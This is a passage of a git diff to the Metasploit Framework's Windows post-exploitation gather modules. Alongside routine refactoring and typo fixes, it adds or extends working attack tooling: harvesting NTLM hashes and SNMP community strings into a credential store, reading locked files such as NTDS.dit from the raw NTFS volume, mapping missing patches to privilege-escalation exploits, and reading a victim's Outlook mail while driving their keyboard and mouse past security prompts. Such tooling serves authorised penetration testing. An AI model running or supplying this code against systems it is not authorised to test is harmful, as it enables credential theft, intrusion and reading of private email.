"\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" + else + print_error("Unsupported OS or not enough privileges. Unable to continue.") + return nil + end + + table = Rex::Ui::Text::Table.new( + 'Header' => 'MUICache Information', + 'Indent' => 1, + 'Columns' => + [ + "Username", + "File path", + "File status", + ]) + + print_status("Phase 1: Searching user names...") + sys_users, sys_paths, sys_sids = find_user_names + + if sys_users.blank? + print_error("Was not able to find any user accounts. Unable to continue.") + return nil + else + print_good("Users found: #{sys_users.join(", ")}") + end + + print_status("Phase 2: Searching registry hives...") + muicache_reg_keys = enum_muicache_paths(sys_sids, muicache) + results = enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file) + + results.each { |r| table << r } + + print_status("Phase 3: Processing results...") + loot = store_loot("muicache_info", "text/plain", session, table.to_s, nil, "MUICache Information") + print_line("\n" + table.to_s + "\n") + print_status("Results stored as: #{loot}") + print_status("Execution finished.") + end + +end diff --git a/modules/post/windows/gather/enum_patches.rb b/modules/post/windows/gather/enum_patches.rb new file mode 100644 index 0000000000..a6c4162dfd --- /dev/null +++ b/modules/post/windows/gather/enum_patches.rb @@ -0,0 +1,92 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/post/common' +require 'msf/core/post/windows/extapi' + +class Metasploit3 < Msf::Post + include Msf::Post::Common + include Msf::Post::Windows::ExtAPI + + MSF_MODULES = { + 'KB977165' => "KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)", + 'KB2305420' => "KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008", + 'KB2592799' => "KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2", + 'KB2778930' => "KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity", + 'KB2850851' => "KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1", + 'KB2870008' => "KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1" + } + + def initialize(info={}) + super(update_info(info, + 'Name' => "Windows Gather Applied Patches", + 'Description' => %q{ + This module will attempt to enumerate which patches are applied to a windows system + based on the result of the WMI query: SELECT HotFixID FROM Win32_QuickFixEngineering + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => + [ + 'zeroSteiner', # Original idea + 'mubix' # Post module + ], + 'References' => + [ + ['URL', 'http://msdn.microsoft.com/en-us/library/aa394391(v=vs.85).aspx'] + ] + )) + + register_options( + [ + OptBool.new('MSFLOCALS', [ true, 'Search for missing patchs for which there is a MSF local module', true]), + OptString.new('KB', [ true, 'A comma separated list of KB patches to search for', 'KB2871997, KB2928120']) + ], self.class) + end + + # The sauce starts here + def run + patches = [] + + datastore['KB'].split(',').each do |kb| + patches << kb.strip + end + + if datastore['MSFLOCALS'] + patches = patches + MSF_MODULES.keys + end + + extapi_loaded = load_extapi + if extapi_loaded + begin + objects = session.extapi.wmi.query("SELECT HotFixID FROM Win32_QuickFixEngineering") + rescue RuntimeError + print_error "Known bug in WMI query, try migrating to another process" + return + end + kb_ids = objects[:values].map { |kb| kb[0] } + report_info(patches, kb_ids) + else + print_error "ExtAPI failed to load" + end + end + + def report_info(patches, kb_ids) + patches.each do |kb| + if kb_ids.include?(kb) + print_status("#{kb} applied") + else + if MSF_MODULES.include?(kb) + print_good(MSF_MODULES[kb]) + else + print_good("#{kb} is missing") + end + end + end + end +end diff --git a/modules/post/windows/gather/enum_powershell_env.rb b/modules/post/windows/gather/enum_powershell_env.rb index 1107e15974..41ca9b2119 100644 --- a/modules/post/windows/gather/enum_powershell_env.rb +++ b/modules/post/windows/gather/enum_powershell_env.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,7 +28,8 @@ class Metasploit3 < Msf::Post users = [] user = session.sys.config.getuid path4users = "" - sysdrv = session.fs.file.expand_path("%SystemDrive%") + env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME') + sysdrv = env_vars['SystemDrive'] if os =~ /Windows 7|Vista|2008/ path4users = sysdrv + "\\Users\\" @@ -49,7 +50,7 @@ class Metasploit3 < Msf::Post end else userinfo = {} - uservar = session.fs.file.expand_path("%USERNAME%") + uservar = env_vars['USERNAME'] userinfo['username'] = uservar userinfo['userappdata'] = path4users + uservar + profilepath users << userinfo @@ -89,7 +90,7 @@ class Metasploit3 < Msf::Post end if powershell_version =~ /2./ print_status("Powershell Modules:") - powershell_module_path = session.fs.file.expand_path("%PSModulePath%") + powershell_module_path = session.sys.config.getenv('PSModulePath') session.fs.dir.foreach(powershell_module_path) do |m| next if m =~ /^(\.|\.\.)$/ print_status("\t#{m}") diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 81ca4376a6..f6edb22bf1 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -183,7 +183,7 @@ class Metasploit3 < Msf::Post print_prefetch_key_value print_timezone_key_values(key_value) print_good("Current UTC Time: %s" % Time.now.utc) - sys_root = expand_path("%SYSTEMROOT%") + sys_root = session.sys.config.getenv('SYSTEMROOT') full_path = sys_root + "\\Prefetch\\" file_type = "*.pf" print_status("Gathering information from remote system. This will take awhile..") diff --git a/modules/post/windows/gather/enum_proxy.rb b/modules/post/windows/gather/enum_proxy.rb index 1412346322..bb98d36e77 100644 --- a/modules/post/windows/gather/enum_proxy.rb +++ b/modules/post/windows/gather/enum_proxy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_services.rb b/modules/post/windows/gather/enum_services.rb index 8f75d3686f..eff601943b 100644 --- a/modules/post/windows/gather/enum_services.rb +++ b/modules/post/windows/gather/enum_services.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,12 +15,14 @@ class Metasploit3 < Msf::Post super(update_info(info, 'Name' => "Windows Gather Service Info Enumeration", 'Description' => %q{ - This module will query the system for services and display name and configuration - info for each returned service. It allows you to optionally search the credentials, path, or start - type for a string and only return the results that match. These query operations - are cumulative and if no query strings are specified, it just returns all services. - NOTE: If the script hangs, windows firewall is most likely on and you did not - migrate to a safe process (explorer.exe for example). + This module will query the system for services and display name and + configuration info for each returned service. It allows you to + optionally search the credentials, path, or start type for a string + and only return the results that match. These query operations are + cumulative and if no query strings are specified, it just returns all + services. NOTE: If the script hangs, windows firewall is most likely + on and you did not migrate to a safe process (explorer.exe for + example). }, 'License' => MSF_LICENSE, 'Platform' => ['win'], @@ -31,7 +33,7 @@ class Metasploit3 < Msf::Post [ OptString.new('CRED', [ false, 'String to search credentials for' ]), OptString.new('PATH', [ false, 'String to search path for' ]), - OptEnum.new('TYPE', [false, 'Service startup Option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]]) + OptEnum.new('TYPE', [true, 'Service startup Option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]]) ], self.class) end @@ -39,58 +41,92 @@ class Metasploit3 < Msf::Post def run # set vars + credentialCount = {} qcred = datastore["CRED"] || nil qpath = datastore["PATH"] || nil + if datastore["TYPE"] == "All" qtype = nil else - qtype = datastore["TYPE"] + qtype = datastore["TYPE"].downcase end + if qcred - print_status("Credential Filter: " + qcred) + qcred = qcred.downcase + print_status("Credential Filter: #{qcred}") end + if qpath - print_status("Executable Path Filter: " + qpath) + qpath = qpath.downcase + print_status("Executable Path Filter: #{qpath}") end + if qtype - print_status("Start Type Filter: " + qtype) + print_status("Start Type Filter: #{qtype}") end - print_status("Listing Service Info for matching services:") - service_list.each do |sname| + results_table = Rex::Ui::Text::Table.new( + 'Header' => 'Services', + 'Indent' => 1, + 'SortIndex' => 0, + 'Columns' => ['Name', 'Credentials', 'Command', 'Startup'] + ) + + print_status("Listing Service Info for matching services, please wait...") + service_list.each do |srv| srv_conf = {} - isgood = true - #make sure we got a service name - if sname + + # make sure we got a service name + if srv[:name] begin - srv_conf = service_info(sname) - #filter service based on filters passed, the are cumulative - if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase - isgood = false - end - if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase - isgood = false - end - # There may not be a 'Startup', need to check nil - if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase - isgood = false + srv_conf = service_info(srv[:name]) + if srv_conf[:startname] + # filter service based on filters passed, the are cumulative + if qcred && !srv_conf[:startname].downcase.include?(qcred) + next + end + + if qpath && !srv_conf[:path].downcase.include?(qpath) + next + end + + # There may not be a 'Startup', need to check nil + if qtype && !(START_TYPE[srv_conf[:starttype]] || '').downcase.include?(qtype) + next + end + + # count the occurance of specific credentials services are running as + serviceCred = srv_conf[:startname].upcase + unless serviceCred.empty? + if credentialCount.has_key?(serviceCred) + credentialCount[serviceCred] += 1 + else + credentialCount[serviceCred] = 1 + # let the user know a new service account has been detected for possible lateral + # movement opportunities + print_good("New service credential detected: #{srv[:name]} is running as '#{srv_conf[:startname]}'") + end + end + + results_table << [srv[:name], + srv_conf[:startname], + START_TYPE[srv_conf[:starttype]], + srv_conf[:path]] end - #if we are still good return the info - if isgood - vprint_status("\tName: #{sname}") - vprint_good("\t\tStartup: #{srv_conf['Startup']}") - vprint_good("\t\tCommand: #{srv_conf['Command']}") - vprint_good("\t\tCredentials: #{srv_conf['Credentials']}") - end - rescue - print_error("An error occured enumerating service: #{sname}") + rescue RuntimeError => e + print_error("An error occurred enumerating service: #{srv[:name]}: #{e}") end else - print_error("Problem enumerating services") + print_error("Problem enumerating service - no service name found") end - end + + print_line results_table.to_s + + # store loot on completion of collection + p = store_loot("windows.services", "text/plain", session, results_table.to_s, "windows_services.txt", "Windows Services") + print_good("Loot file stored in: #{p.to_s}") end end diff --git a/modules/post/windows/gather/enum_shares.rb b/modules/post/windows/gather/enum_shares.rb index 05260dedd7..b0dfe05714 100644 --- a/modules/post/windows/gather/enum_shares.rb +++ b/modules/post/windows/gather/enum_shares.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_snmp.rb b/modules/post/windows/gather/enum_snmp.rb index ab74be16e4..9316605288 100644 --- a/modules/post/windows/gather/enum_snmp.rb +++ b/modules/post/windows/gather/enum_snmp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Post def community_strings comm_str = [] tbl = Rex::Ui::Text::Table.new( - 'Header' => "Comunity Strings", + 'Header' => "Community Strings", 'Indent' => 1, 'Columns' => [ @@ -63,33 +63,30 @@ class Metasploit3 < Msf::Post if not comm_str.nil? and not comm_str.empty? comm_str.each do |c| + # comm_type is for human display, access_type is passed to the credential + # code using labels consistent with the SNMP login scanner case registry_getvaldata(key,c) when 4 - comm_type = "READ ONLY" + comm_type = 'READ ONLY' + access_type = 'read-only' when 1 - comm_type = "DISABLED" + comm_type = 'DISABLED' + access_type = 'disabled' when 2 - comm_type = "NOTIFY" + comm_type = 'NOTIFY' + access_type = 'notify' when 8 - comm_type = "READ & WRITE" + comm_type = 'READ & WRITE' + access_type = 'read-write' when 16 - comm_type = "READ CREATE" + comm_type = 'READ CREATE' + access_type = 'read-create' end # Save data to table tbl << [c,comm_type] - # Save Community Strings to DB - report_auth_info( - :host => session.sock.peerhost, - :port => 161, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => c, - :type => "snmp.community", - :duplicate_ok => true - ) + register_creds(session.session_host, 161, '', c, 'snmp', access_type) end print_status("") @@ -116,21 +113,13 @@ class Metasploit3 < Msf::Post if not trap_hosts.nil? and not trap_hosts.empty? trap_hosts.each do |c| print_status("Community Name: #{c}") - session.framework.db.report_auth_info( - :host => session.sock.peerhost, - :port => 161, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => c, - :type => "snmp.community", - :duplicate_ok => true - ) + t_comm_key = key+"\\"+c registry_enumvals(t_comm_key).each do |t| - print_status("\tDestination: " + registry_getvaldata(t_comm_key,t)) + trap_dest = registry_getvaldata(t_comm_key,t) + print_status("\tDestination: #{trap_dest}") + register_creds(trap_dest, 162, '', c, 'snmptrap', 'trap') end - end else print_status("No Traps are configured") @@ -152,4 +141,40 @@ class Metasploit3 < Msf::Post print_status("\tCommunity Strings can be accessed from any host") end end + + def register_creds(client_ip, client_port, user, pass, service_name, access_type) + # Build service information + service_data = { + address: client_ip, + port: client_port, + service_name: service_name, + protocol: 'udp', + workspace_id: myworkspace_id + } + + # Build credential information + credential_data = { + access_level: access_type, + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_data: pass, + private_type: :password, + username: user, + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end end diff --git a/modules/post/windows/gather/enum_termserv.rb b/modules/post/windows/gather/enum_termserv.rb index 336dd9d1b2..2ad65c80e2 100644 --- a/modules/post/windows/gather/enum_termserv.rb +++ b/modules/post/windows/gather/enum_termserv.rb @@ -1,7 +1,7 @@ # post/windows/gather/enum_termserv.rb ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_tokens.rb b/modules/post/windows/gather/enum_tokens.rb index 91506a5963..4a7838d3cd 100644 --- a/modules/post/windows/gather/enum_tokens.rb +++ b/modules/post/windows/gather/enum_tokens.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_tomcat.rb b/modules/post/windows/gather/enum_tomcat.rb index 7d568a0aa2..2f98e036c6 100644 --- a/modules/post/windows/gather/enum_tomcat.rb +++ b/modules/post/windows/gather/enum_tomcat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index 66a4f04aae..09dea61737 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post [ 'Sean Verity ', 'sinn3r', - 'Ben Campbell ' + 'Ben Campbell' ], 'References' => [ @@ -115,7 +115,7 @@ class Metasploit3 < Msf::Post # Initialize all 7 possible paths for the answer file # def init_paths - drive = session.fs.file.expand_path("%SystemDrive%") + drive = session.sys.config.getenv('SystemDrive') files = [ diff --git a/modules/post/windows/gather/file_from_raw_ntfs.rb b/modules/post/windows/gather/file_from_raw_ntfs.rb new file mode 100644 index 0000000000..b2a50ac2eb --- /dev/null +++ b/modules/post/windows/gather/file_from_raw_ntfs.rb @@ -0,0 +1,105 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/parser/fs/ntfs' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Error + + ERROR = Msf::Post::Windows::Error + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows File Gather File from Raw NTFS', + 'Description' => %q{ + This module gathers a file using the raw NTFS device, bypassing some Windows restrictions + such as open file with write lock. Because it avoids the usual file locking issues, it can + be used to retrieve files such as NTDS.dit. + }, + 'License' => 'MSF_LICENSE', + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Danil Bazin '], # @danilbaz + 'References' => [ + [ 'URL', 'http://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/0321268172/' ] + ] + )) + + register_options( + [ + OptString.new('FILE_PATH', [true, 'The FILE_PATH to retreive from the Volume raw device', nil]) + ], self.class) + end + + def run + winver = sysinfo["OS"] + + fail_with(Exploit::Failure::NoTarget, 'Module not valid for Windows 2000') if winver =~ /2000/ + fail_with(Exploit::Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin? + + file_path = datastore['FILE_PATH'] + + r = client.railgun.kernel32.GetFileAttributesW(file_path) + + case r['GetLastError'] + when ERROR::SUCCESS, ERROR::SHARING_VIOLATION, ERROR::ACCESS_DENIED, ERROR::LOCK_VIOLATION + # Continue, we can bypass these errors as we are performing a raw + # file read. + when ERROR::FILE_NOT_FOUND, ERROR::PATH_NOT_FOUND + fail_with( + Exploit::Failure::BadConfig, + "The file, #{file_path}, does not exist, use file format C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts" + ) + else + fail_with( + Exploit::Failure::Unknown, + "Unknown error locating #{file_path}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}" + ) + end + + drive = file_path[0, 2] + + r = client.railgun.kernel32.CreateFileW("\\\\.\\#{drive}", + 'GENERIC_READ', + 'FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE', + nil, + 'OPEN_EXISTING', + 'FILE_FLAG_WRITE_THROUGH', + 0) + + if r['GetLastError'] != ERROR::SUCCESS + fail_with( + Exploit::Failure::Unknown, + "Error opening #{drive}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}") + end + + @handle = r['return'] + vprint_status("Successfuly opened #{drive}") + begin + @bytes_read = 0 + fs = Rex::Parser::NTFS.new(self) + print_status("Trying to gather #{file_path}") + path = file_path[3, file_path.length - 3] + data = fs.file(path) + file_name = file_path.split("\\")[-1] + stored_path = store_loot("windows.file", 'application/octet-stream', session, data, file_name, "Windows file") + print_good("Saving file : #{stored_path}") + ensure + client.railgun.kernel32.CloseHandle(@handle) + end + print_status("Post Successful") + end + + def read(size) + client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer'] + end + + def seek(offset) + high_offset = offset >> 32 + low_offset = offset & (2**33 - 1) + client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0) + end +end diff --git a/modules/post/windows/gather/forensics/browser_history.rb b/modules/post/windows/gather/forensics/browser_history.rb index 90bbcb1e36..161789429b 100644 --- a/modules/post/windows/gather/forensics/browser_history.rb +++ b/modules/post/windows/gather/forensics/browser_history.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/forensics/duqu_check.rb b/modules/post/windows/gather/forensics/duqu_check.rb index a761c8a6dc..c967b5f6ab 100644 --- a/modules/post/windows/gather/forensics/duqu_check.rb +++ b/modules/post/windows/gather/forensics/duqu_check.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/forensics/enum_drives.rb b/modules/post/windows/gather/forensics/enum_drives.rb index df61a3f36e..34b24c51cb 100644 --- a/modules/post/windows/gather/forensics/enum_drives.rb +++ b/modules/post/windows/gather/forensics/enum_drives.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/forensics/imager.rb b/modules/post/windows/gather/forensics/imager.rb index 70de322162..209a90c492 100644 --- a/modules/post/windows/gather/forensics/imager.rb +++ b/modules/post/windows/gather/forensics/imager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/forensics/nbd_server.rb b/modules/post/windows/gather/forensics/nbd_server.rb index 84d641e789..5da92628d6 100644 --- a/modules/post/windows/gather/forensics/nbd_server.rb +++ b/modules/post/windows/gather/forensics/nbd_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/forensics/recovery_files.rb b/modules/post/windows/gather/forensics/recovery_files.rb index 46516df798..37a88f6d92 100644 --- a/modules/post/windows/gather/forensics/recovery_files.rb +++ b/modules/post/windows/gather/forensics/recovery_files.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -195,9 +195,9 @@ class Metasploit3 < Msf::Post offset << "\x00" if (offset.size % 2 != 0) # The logical cluster value could be negative so we need to get the 2 complement in those cases if log_cluster.size == 2 - int_log_cluster = log_cluster.unpack('s*')[0] + int_log_cluster = log_cluster.unpack('v*')[0] elsif log_cluster.size == 4 - int_log_cluster = log_cluster.unpack('l')[0] + int_log_cluster = log_cluster.unpack('V')[0] end if offset.size == 2 @@ -275,7 +275,7 @@ class Metasploit3 < Msf::Post def get_size(entry) data = get_attribute(entry,"\x80\x00\x00\x00") return if data == nil - return data[48,8].unpack('Q*')[0] + return data[48,8].unpack('Q<*')[0] end # Gets the NTFS information and return a pointer to the beginning of the MFT @@ -295,7 +295,7 @@ class Metasploit3 < Msf::Post vprint_status("NTFS Volumen Serial Number: #{ra['lpOutBuffer'][0,8].unpack('h*')[0].reverse}") vprint_status("Bytes per Sector: #{ra['lpOutBuffer'][40,4].unpack('V*')[0]}") vprint_status("Bytes per Cluster: #{bytes_per_cluster}") - vprint_status("Length of the MFT (bytes): #{ra['lpOutBuffer'][56,8].unpack('Q*')[0]}") + vprint_status("Length of the MFT (bytes): #{ra['lpOutBuffer'][56,8].unpack('Q<*')[0]}") vprint_status("Logical cluster where MTF starts #{mft_logical_offset}") # We set the pointer to the begining of the MFT client.railgun.kernel32.SetFilePointer(r['return'],offset_mft_bytes,0,0) diff --git a/modules/post/windows/gather/hashdump.rb b/modules/post/windows/gather/hashdump.rb index 61609abceb..0f4b866d16 100644 --- a/modules/post/windows/gather/hashdump.rb +++ b/modules/post/windows/gather/hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -66,16 +66,47 @@ class Metasploit3 < Msf::Post print_status("Dumping password hashes...") print_line() print_line() + + # Assemble the information about the SMB service for this host + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: 445, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ntlm_hash + } + + # Merge the service data into the credential data + credential_data.merge!(service_data) + users.keys.sort{|a,b| a<=>b}.each do |rid| hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::" - report_auth_info( - :host => session.sock.peerhost, - :port => 445, - :sname => 'smb', - :user => users[rid][:Name].downcase, - :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], - :type => "smb_hash" - ) + + # Add the details for this specific credential + credential_data[:private_data] = users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0] + credential_data[:username] = users[rid][:Name].downcase + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + print_line hashstring end diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb index dd1309f664..96fbc11ccf 100644 --- a/modules/post/windows/gather/local_admin_search_enum.rb +++ b/modules/post/windows/gather/local_admin_search_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Post 'Thomas McCarthy "smilingraccoon" ', 'Royce Davis "r3dy" ' ], - 'Platform' => [ 'windows'], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/gather/lsa_secrets.rb b/modules/post/windows/gather/lsa_secrets.rb index af1252d1e3..756e7c0f95 100644 --- a/modules/post/windows/gather/lsa_secrets.rb +++ b/modules/post/windows/gather/lsa_secrets.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], - 'Author' => ['Rob Bathurst '] + 'Author' => ['Rob Bathurst '] )) end diff --git a/modules/post/windows/gather/memory_grep.rb b/modules/post/windows/gather/memory_grep.rb index fad3d2a566..936aae5cf2 100644 --- a/modules/post/windows/gather/memory_grep.rb +++ b/modules/post/windows/gather/memory_grep.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/netlm_downgrade.rb b/modules/post/windows/gather/netlm_downgrade.rb index c1240cc7fe..b1dca4c2a8 100644 --- a/modules/post/windows/gather/netlm_downgrade.rb +++ b/modules/post/windows/gather/netlm_downgrade.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,8 +23,8 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ - 'Brandon McCann "zeknox" ', - 'Thomas McCarthy "smilingraccoon" ' + 'Brandon McCann "zeknox" ', + 'Thomas McCarthy "smilingraccoon" ' ], 'SessionTypes' => [ 'meterpreter' ], 'References' => diff --git a/modules/post/windows/gather/outlook.rb b/modules/post/windows/gather/outlook.rb new file mode 100644 index 0000000000..92269c8d9c --- /dev/null +++ b/modules/post/windows/gather/outlook.rb @@ -0,0 +1,160 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Registry + include Msf::Post::Windows::Powershell + + A_HASH = { "en_US" => "Allow", "nl_NL" => "Toestaan", "de_DE" => "Erteilen", "de_AT" => "Erteilen" } + ACF_HASH = { "en_US" => "Allow access for", "nl_NL" => "Toegang geven voor", "de_DE" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr", "de_AT" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr" } + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Gather Outlook Email Messages', + 'Description' => %q{ + This module allows reading and searching email messages from the local + Outlook installation using PowerShell. Please note that this module is + manipulating the victims keyboard/mouse. If a victim is active on the target + system, he may notice the activities of this module. Tested on Windows 8.1 + x64 with Office 2013. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Wesley Neelen ' ], + 'References' => [ 'URL', 'https://forsec.nl/2014/11/reading-outlook-using-metasploit' ], + 'Platform' => [ 'win' ], + 'Arch' => [ 'x86', 'x64' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Actions' => [ + [ 'LIST', { 'Description' => 'Lists all folders' } ], + [ 'SEARCH', { 'Description' => 'Searches for an email' } ] + ], + 'DefaultAction' => 'LIST' + )) + + register_options( + [ + OptString.new('FOLDER', [ false, 'The e-mailfolder to read (e.g. Inbox)' ]), + OptString.new('KEYWORD', [ false, 'Search e-mails by the keyword specified here' ]), + OptString.new('A_TRANSLATION', [ false, 'Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ]), + OptString.new('ACF_TRANSLATION', [ false, 'Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ]) + ], self.class) + + register_advanced_options( + [ + OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any Powershell scripts to complete', 120]) + ], self.class) + end + + def execute_outlook_script(command) + base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "outlook.ps1")) + psh_script = base_script << command + compressed_script = compress_script(psh_script) + cmd_out, 